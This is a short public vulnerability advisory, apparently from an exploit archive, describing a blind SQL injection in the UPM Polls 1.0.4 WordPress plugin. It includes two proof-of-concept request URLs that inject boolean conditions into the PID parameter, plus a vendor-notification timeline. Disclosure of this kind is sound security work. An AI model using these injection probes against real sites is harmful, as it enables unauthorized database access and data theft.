WordPress Plugin UPM Polls 1.0.4 – Blind SQL Injection
# Exploit Title: BLIND SQL injection UPM-POLLS wordpress plugin 1.0.4 # Google Dork: n/a # Date: 04-12-2011 # Author: Saif El-Sherei # Software Link: http://downloads.wordpress.org/plugin/upm-polls.1.0.4.zip # Version: 1.0.4 # Tested on: wordpress 3.2.1,Firefox 4, XAMPP Info: Best Plugin to create Polls for your site. Everything is smoother, faster, and seamless like WordPress itself. Poll Manager, Ability to set general and post/page specific polls, Ability to leaf over the polls Ability to add certain poll in certain post content Ability to show polls either with and without current results of polls Details: the Variable PID is not properly sanitized in the get request before insertion into the database query; allowing an attaacker or any user who can view poll results (supposedly all user) to use blind sql injection to extract database data and possibly compromise the whole server. a POC is provided with both true and false results. POC 1(TRUE): http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and 1=1 "poll results for poll 2 is displayed" POC 2 (FALSE): http://127.0.0.1/wordpress/wp-admin/admin-ajax.php?action=upm_ayax_polls_result&do=result&post=1&type=general&PID=2and 1=2 "Blank page is displayed" Time Line: 04-12-2011 Vulnerability discovered 04-12-2011 Vendor notified 11-12-2011 No response from vendor, public disclosure |